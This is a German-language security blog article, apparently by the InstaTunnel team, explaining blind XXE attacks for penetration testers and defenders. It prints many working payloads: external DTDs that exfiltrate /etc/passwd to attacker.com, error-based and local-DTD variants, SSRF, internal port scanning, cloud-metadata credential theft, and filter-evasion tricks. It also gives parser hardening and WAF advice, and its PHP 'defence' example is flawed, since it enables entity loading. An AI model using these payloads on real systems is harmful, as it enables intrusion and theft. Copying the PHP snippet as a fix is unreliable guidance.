Security
8 min read
2236 views

Blind XXE: Exfiltrieren von Daten Out-of-Band im Jahr 2025 👁️

IT
InstaTunnel Team
Published by our engineering team
Blind XXE: Exfiltrieren von Daten Out-of-Band im Jahr 2025 👁️

Einführung in Blind XXE-Schwachstellen

XML External Entity (XXE)-Angriffe stellen eine der kritischsten Schwachstellen in Webanwendungen dar, die regelmäßig in den OWASP Top 10 auftauchen. Während Standard-XXE-Angriffe es Angreifern ermöglichen, sensible Daten direkt über XML-Antworten abzurufen, präsentieren Blind XXE-Schwachstellen ein komplexeres Szenario, bei dem Anwendungen die Werte externer Entitäten in ihren Antworten nicht zurückgeben. Trotz dieser Einschränkung können geschickte Angreifer mit ausgeklügelten Out-of-Band (OOB)-Techniken immer noch sensible Dateien und interne Netzwerkdaten exfiltrieren.

Blind XXE-Schwachstellen entstehen, wenn Anwendungen anfällig für XXE-Injection sind, aber keine externen Entitätenwerte in ihren Antworten zurückgeben. Dies macht den direkten serverseitigen Dateizugriff unmöglich und erschwert die Ausnutzung im Vergleich zu regulären XXE-Schwachstellen.

Grundlagen von XXE verstehen

Bevor wir in Techniken der Blind-Exploitation eintauchen, ist es wichtig, XML External Entities zu verstehen. XML-Dateien können Document Type Definitions (DTDs) enthalten, die das Definieren und Verwenden von XML-Entitäten erlauben, inklusive externer Entitäten mittels URIs, die vom XML-Parser verarbeitet und in das XML-Dokument eingefügt werden.

Warum ist XXE gefährlich?

XXE-Angriffe können sowohl die anfällige Anwendung als auch verbundene Systeme beeinträchtigen. Sie können es Angreifern ermöglichen, sensible Daten wie Passwörter abzurufen, Directory Traversal durchzuführen, Denial of Service (DoS)-Angriffe zu starten oder Zugriff zu anderen Netzwerkverzeichnissen zu erlangen und Server-side Request Forgery (SSRF) durchzuführen.

Warum tritt Blind XXE auf?

Blind XXE-Szenarien entstehen in mehreren häufigen Situationen:

  1. Nicht-reflektierende Anwendungen: Die Anwendung verarbeitet XML, zeigt aber den geparsten Inhalt nicht in den Antworten an.
  2. Fehlerunterdrückung: XML-Parsing-Fehler werden abgefangen und stillschweigend behandelt.
  3. Asynchrone Verarbeitung: XML-Daten werden im Hintergrund verarbeitet, ohne sofortiges Feedback.
  4. API-Endpunkte: RESTful APIs, die XML akzeptieren, aber JSON oder generische Statuscodes zurückgeben.

Erkennungstechniken für Blind XXE

Out-of-Band-Interaktions-Erkennung

Sie können Blind XXE mit denselben Techniken wie bei XXE-SSRF-Angriffen erkennen, indem Sie Out-of-Band-Netzwerkinteraktionen zu einem System auslösen, das Sie kontrollieren.

Der grundlegende Erkennungspayload sieht so aus:

!DOCTYPE foo [ 
  !ENTITY xxe SYSTEM "http://attacker-controlled-server.com/detect" 
]
stockCheck
  productIdxxe;/productId
/stockCheck

Wenn die Anwendung anfällig ist, wird der Server eine HTTP-Anfrage an Ihre URL senden. Sie können DNS-Lookups und HTTP-Anfragen überwachen, um eine erfolgreiche Ausführung des Angriffs zu bestätigen.

Verwendung von Parameter-Entitäten zur Erkennung

XML-Parameter-Entitäten sind eine spezielle Art von XML-Entitäten, die nur innerhalb des DTD verwendet werden können. Sie werden deklariert und aufgerufen, indem man ein Prozentzeichen voranstellt:

!DOCTYPE foo [ 
  !ENTITY % xxe SYSTEM "http://attacker.com/detect.dtd" 
  %xxe;
]

Fortgeschrittene Techniken der Blind-XXE-Exploitation

Methode 1: Out-of-Band-Datenexfiltration

Die mächtigste Blind-XXE-Technik besteht darin, eine bösartige DTD auf einem vom Angreifer kontrollierten Server zu hosten und Parameter-Entitäten zu verwenden, um Daten zu exfiltrieren.

Schritt-für-Schritt-Exfiltrationsprozess

1. Erstellen einer bösartigen externen DTD

Eine bösartige DTD, die den Inhalt der Datei /etc/passwd exfiltriert, definiert eine XML-Parameter-Entität namens “file” mit dem Dateiinhalte und eine “eval”-Entität mit einer dynamischen Deklaration einer “exfiltrate”-Entität, die eine Anfrage an den Server des Angreifers mit den Dateiinhalten in der URL macht:

!-- Gehostet auf http://attacker.com/evil.dtd --
!ENTITY % file SYSTEM "file:///etc/passwd"
!ENTITY % eval "!ENTITY ; exfiltrate SYSTEM 'http://attacker.com/?data=%file;'"
%eval;
%exfiltrate;

2. Auslösen des Exploits

Senden Sie diese Payload an die anfällige Anwendung:

?xml version="1.0" encoding="UTF-8"?
!DOCTYPE foo [
  !ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"
  %xxe;
]
stockCheck
  productId123/productId
/stockCheck

3. Ablauf der Ausführung

Der XML-Parser verarbeitet zuerst die %file-Entität, die /etc/passwd lädt. Danach erstellt die %eval-Entität eine allgemeine Entität mit einer URL, die den Dateiinhalte enthält. Schließlich verarbeitet der Parser die Entität und sendet eine Anfrage an den Server des Angreifers mit den Dateidaten.

Umgang mit Sonderzeichen und großen Dateien

Für größere Dateien wie /etc/passwd mit Sonderzeichen, die HTTP-Anfragen stören können, ist die einfachste Lösung, die Payload in Base64 zu kodieren:

!-- evil.dtd mit Base64-Kodierung --
!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"
!ENTITY % eval "!ENTITY ; exfiltrate SYSTEM 'http://attacker.com/?data=%file;'"
%eval;
%exfiltrate;

Methode 2: Error-basierte Blind-XXE

Wenn Out-of-Band-Verbindungen möglich sind, können Angreifer Parsing-Fehler auslösen, um Fehlermeldungen zu generieren, die sensible Daten enthalten. Dies ist effektiv bei Anwendungen, die resultierende Fehlermeldungen in ihren Antworten zurückgeben.

Error-basierte Exploitation-Technik

!-- evil.dtd gehostet auf dem Angreifer-Server --
!ENTITY % file SYSTEM "file:///etc/passwd"
!ENTITY % eval "!ENTITY ; error SYSTEM 'file:///nonexistent/%file;'"
%eval;
%error;

Wenn der Parser versucht, die nicht vorhandene Datei mit den Passwortdaten im Pfad zu laden, erzeugt er eine Fehlermeldung, die den Dateiinhalte offenbart.

Methode 3: Ausnutzung lokaler DTD-Dateien

Wenn Out-of-Band-Interaktionen blockiert sind, ist es möglicherweise trotzdem möglich, Fehlermeldungen zu triggern, die sensible Daten enthalten, indem eine Schwachstelle im XML-Standard ausgenutzt wird, bei der interne DTDs Entities neu definieren können, die in externen DTDs deklariert sind.

Technik der lokalen DTD

Diese Technik involviert das Invoken einer DTD-Datei, die auf dem lokalen Dateisystem existiert, und deren Umnutzung, um eine bestehende Entity neu zu definieren und einen Parsing-Fehler mit sensiblen Daten auszulösen.

Gängige lokale DTD-Standorte:

  • Linux/GNOME: /usr/share/yelp/dtd/docbookx.dtd
  • Windows: C:\Windows\System32\wbem\xml\cim20.dtd
  • Java-Anwendungen: Verschiedene JAR-Dateien mit DTDs

Exploitation Payload:

!DOCTYPE foo [
  !ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"
  !ENTITY % ISOamso '
    !ENTITY ; file SYSTEM "file:///etc/passwd"
    !ENTITY ; eval "!ENTITY ; error SYSTEM ;file:///nonexistent/;"
    ;eval;
    ;error;
  '
  %local_dtd;
]

Erweiterte Exploitation-Methoden

FTP-Protokoll für Data Exfiltration

Mit dem FTP-Protokoll und Tools wie xxe-ftp-server können Sie auf benutzerdefinierten Ports lauschen und Anfragen abfangen, um interne Informationen wie Java-Versionen und interne IP-Adressen zu enthüllen:

!DOCTYPE foo [
  !ENTITY % dtd SYSTEM "ftp://attacker.com:2121/evil.dtd"
  %dtd;
]

HTTP und HTTPS für SSRF

Angreifer können XXE nutzen, um Server-side Request Forgery (SSRF) durch die Definition einer externen Entität mit der Ziel-URL durchzuführen, was die Interaktion mit Backend-Systemen ermöglicht:

!DOCTYPE foo [
  !ENTITY xxe SYSTEM "http://internal-network.local/admin"
]
dataxxe;/data

Variationen des File-Protokolls

Unterschiedliche Formate des File-Protokolls zum Ausprobieren: - file:///etc/passwd - file://localhost/etc/passwd - file:///c:/windows/win.ini (Windows)

Szenarien realer Angriffe

Interne Netzwerk-Recherche

Blind XXE kann für internes Port-Scanning und Service-Discovery genutzt werden:

!DOCTYPE foo [
  !ENTITY % xxe SYSTEM "http://192.168.1.1:8080"
  %xxe;
]

Timing-Differenzen oder Out-of-Band-Anfragen überwachen, um offene Ports und laufende Dienste zu identifizieren.

Cloud-Metadaten-Ausnutzung

In Cloud-Umgebungen kann Blind XXE auf Instanz-Metadaten zugreifen:

!DOCTYPE foo [
  !ENTITY % cloud SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  !ENTITY % eval "!ENTITY ; exfil SYSTEM 'http://attacker.com/?data=%cloud;'"
  %eval;
  %exfil;
]

Datenbank-Konfigurationsdateien

Ziel sensibler Konfigurationsdateien: - /etc/mysql/my.cnf - /var/www/html/config.php - C:\inetpub\wwwroot\web.config

Aktuelle Schwachstellen und Fallstudien

Im Jahr 2024 wurde eine Blind XXE-Injektionsschwachstelle in der Software Palo Alto Networks PAN-OS (CVE-2024-5919) ausgenutzt, bei der authentifizierte Angreifer beliebige Dateien von Firewalls auf vom Angreifer kontrollierte Server exfiltrieren konnten.

Diese Schwachstelle verdeutlichte mehrere wichtige Punkte: - Auch moderne Unternehmenssoftware ist anfällig für XXE - Blind XXE kann traditionelle Sicherheitsüberwachungen umgehen - Authentifizierung schützt nicht unbedingt vor XXE-Exploitation

Tools und Automatisierung

Burp Suite Collaborator

Der Burp Collaborator bietet eine einfache Möglichkeit, Blind XXE zu erkennen, indem er einzigartige Subdomains generiert und DNS-Lookups sowie HTTP-Interaktionen überwacht.

Eigene Erkennungsskripte

Ein einfacher HTTP-Server für Out-of-Band-Detection:

# Python HTTP-Server mit Logging
python3 -m http.server 8080 --bind 0.0.0.0

Zugriffsprotokolle auf eingehende Anfragen von anfälligen Anwendungen überwachen.

Automatisierte Exploitation-Tools

  • XXExploiter: GitHub-Tool für automatisierte XXE-Exploitation
  • XXEinjector: Ruby-basiertes XXE-Exploitation-Framework
  • OXML_XXE: Tool speziell für Office Open XML-Dateiexploitation

Verteidigungs- und Präventionsstrategien

DTD-Verarbeitung deaktivieren

Der effektivste Schutz besteht darin, die DTD-Verarbeitung in XML-Parsern vollständig zu deaktivieren. Die Methoden variieren je nach Implementierung.

Java-Beispiel:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

PHP-Beispiel:

libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR);

.NET-Beispiel:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);

Web Application Firewall Regeln

Die meisten WAF-Lösungen haben integrierte Regeln, die offensichtliche XXE-Eingaben blockieren, indem sie eingehende HTTP-Anfragen überwachen und filtern, die bekannte Angriffsmuster enthalten.

Konfigurieren Sie WAF-Regeln, um zu erkennen: - !DOCTYPE-Deklarationen - !ENTITY-Definitionen - Externe DTD-Referenzen - Verdächtige SYSTEM-Schlüsselwörter in XML

Eingabevalidierung und Sanitisierung

Obwohl nicht narrensicher, sollte eine Verteidigung in der Tiefe implementiert werden: - Strikte Validierung des XML-Schemas - Whitelist für erlaubte XML-Elemente und Attribute - Ablehnung von XML-Dokumenten mit DOCTYPE-Deklarationen - Begrenzung der XML-Größe

Sicherheitsüberwachung und Erkennung

Implementieren Sie Überwachung für: - Ungewöhnliche ausgehende Verbindungen von Anwendungsservern - DNS-Anfragen an verdächtige externe Domains - Zugriffsversuche auf sensible Systemdateien - Fehlermuster, die auf XXE-Exploitation hindeuten

Testmethodik

Manueller Testablauf

  1. XML-Eingabepunkte identifizieren: Suchen Sie nach Endpunkten, die XML-Daten akzeptieren
  2. Basis-XXE testen: Versuchen Sie einfache Entity-Deklarationen
  3. Parameter-Entitäten testen: Verwenden Sie DTD-basierte Entities
  4. OOB-Kanal einrichten: Konfigurieren Sie Burp Collaborator oder einen eigenen Server
  5. Daten exfiltrieren: Verwenden Sie Multi-Stage-DTD-Payloads
  6. Fehlerbasierte Techniken testen: Parsing-Fehler auslösen
  7. Lokale DTDs enumerieren: Gängige DTD-Pfade brute-forcen

Automatisierte Scan-Überlegungen

Moderne Scanner erkennen XXE durch: - Payload-Fuzzing mit Entity-Deklarationen - Out-of-Band-Callback-Überprüfung - Timing-basierte Blind-Erkennung - Analyse von Fehlermeldungen

Erweiterte Evasion-Techniken

UTF-7-Encoding

!DOCTYPE foo [
  !ENTITY xxe SYSTEM "file:///+AD0AZQ-tc/passwd"
]

XML-Parameter-Entity-Ketten

Erstellen Sie komplexe Entity-Referenzketten, um einfache Filter zu umgehen:

!DOCTYPE foo [
  !ENTITY % a "!ENTITY ; b SYSTEM 'http://attacker.com/b.dtd'"
  %a;
  %b;
]

Protocol-Smuggling

Verwenden Sie weniger bekannte Protokolle, die Filter umgehen könnten: - php://filter/convert.base64-encode/resource= - expect://id - data://text/plain;base64,

Fazit

Blind XXE-Schwachstellen stellen einen hochentwickelten Angriffsvektor dar, der die Bedeutung sicherer XML-Verarbeitungs-Konfigurationen verdeutlicht. Trotz fehlender unmittelbarer Rückmeldung können Angreifer XML-Eingaben manipulieren, um sensible Daten zu extrahieren, indem sie sie an externe Orte durch externe DTDs und Out-of-Band-Kanäle senden.

Organisationen müssen die Verarbeitung externer Entitäten in allen XML-Parsern deaktivieren, umfassende Sicherheitsüberwachung implementieren und regelmäßige Sicherheitsbewertungen durchführen, um potenzielle Blind XXE-Schwachstellen zu erkennen. Wie aktuelle CVEs und reale Exploits zeigen, sind auch moderne Unternehmensanwendungen anfällig für diese Angriffe.

Der wichtigste Punkt ist, dass Sichtbarkeit der XML-Verarbeitungsantworten für eine erfolgreiche Ausnutzung nicht erforderlich ist – mit Kreativität, Geduld und den richtigen Tools können Angreifer Blind XXE-Schwachstellen ausnutzen, um sensible Daten zu extrahieren und interne Systeme zu kompromittieren.

Quellen und Weiterführende Literatur

  • OWASP XXE Prevention Cheat Sheet
  • PortSwigger Web Security Academy - Blind XXE
  • HackerOne XXE Complete Guide
  • CVE-2024-5919: PAN-OS Blind XXE Schwachstelle
  • XML External Entity Processing (OWASP Foundation)

Über diesen Artikel: Dieser umfassende Leitfaden behandelt fortgeschrittene Techniken der Blind XXE-Exploitation für Sicherheitsfachleute, Penetrationstester und Anwendungssicherheitsteams. Holen Sie sich stets die entsprechende Genehmigung, bevor Sie Schwachstellen an Systemen testen, die Sie nicht besitzen.

Continue from this article into the most relevant product guides and workflows.

Related Topics

#blind XXE, OOB XXE, out-of-band XXE, XML External Entity, XXE 2025, blind XML external entity, XXE exfiltration, XXE out-of-band, Burp Collaborator XXE, parameter entity XXE, evil.dtd payload, file:// XXE, php://filter XXE, DNS-based XXE, HTTP-based XXE, ftp XXE, XXE payloads, blind XXE techniques, blind XXE detection, blind XXE mitigation, disable DTD, disable external entities, XXE prevention, XXE CVE 2024-5919, PAN-OS XXE, CVE blind XXE, blind XXE labs, PortSwigger blind XXE, automated OOB detection, SSRF via XXE, XML parser hardening, Java XXE mitigation, .NET XXE prevention, PHP XXE hardening, XML validation whitelist, Burp Collaborator detection, out-of-band server monitoring, base64 XXE exfiltration, php filter base64 XXE, local DTD exploitation, error-based blind XXE, FTP protocol XXE, cloud metadata XXE, 169.254.169.254 XXE, blind XXE reconnaissance, blind XXE testing methodology, blind XXE tools, XXExploiter, XXEinjector, XXE best practices, secure XML parsing, parameter entity chains, XML DTD attacks, XML parser configuration, XML security, OOB data exfiltration, blind XXE pentesting, blind XXE remediation, blind XXE training labs, blind XXE examples, blind XXE proof-of-concept, blind XXE research 2025

Keep building with InstaTunnel

Read the docs for implementation details or compare plans before you ship.

Share this article

More InstaTunnel Insights

Discover more tutorials, tips, and updates to help you build better with localhost tunneling.

Browse All Articles